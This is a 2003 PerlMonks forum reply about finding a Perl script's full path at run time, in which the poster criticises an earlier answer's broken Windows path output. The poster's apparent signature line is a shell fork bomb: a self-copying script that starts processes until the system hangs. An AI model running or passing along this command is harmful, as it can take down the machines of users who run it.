Beefy Boxes and Bandwidth Generously Provided by pair Networks
good chemistry is complicated,
and a little bit messy -LW
 
PerlMonks  

Re: Re: Re: Re: Find the full path of the script at run time

by ibanix (Hermit)
on Mar 13, 2003 at 02:20 UTC ( #242572=note: print w/replies, xml ) Need Help??


in reply to Re: Re: Re: Find the full path of the script at run time
in thread Find the full path of the script at run time

Er... no. Do you people even bother to test your code, or read the question?

Your code produces this:
C:\> foo.pl C://\\flash\it\NOC-TO~1\foo.pl
which obviously isn't going to work.

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://242572]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others exploiting the Monastery: (3)
As of 2022-08-08 01:56 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found

    Notices?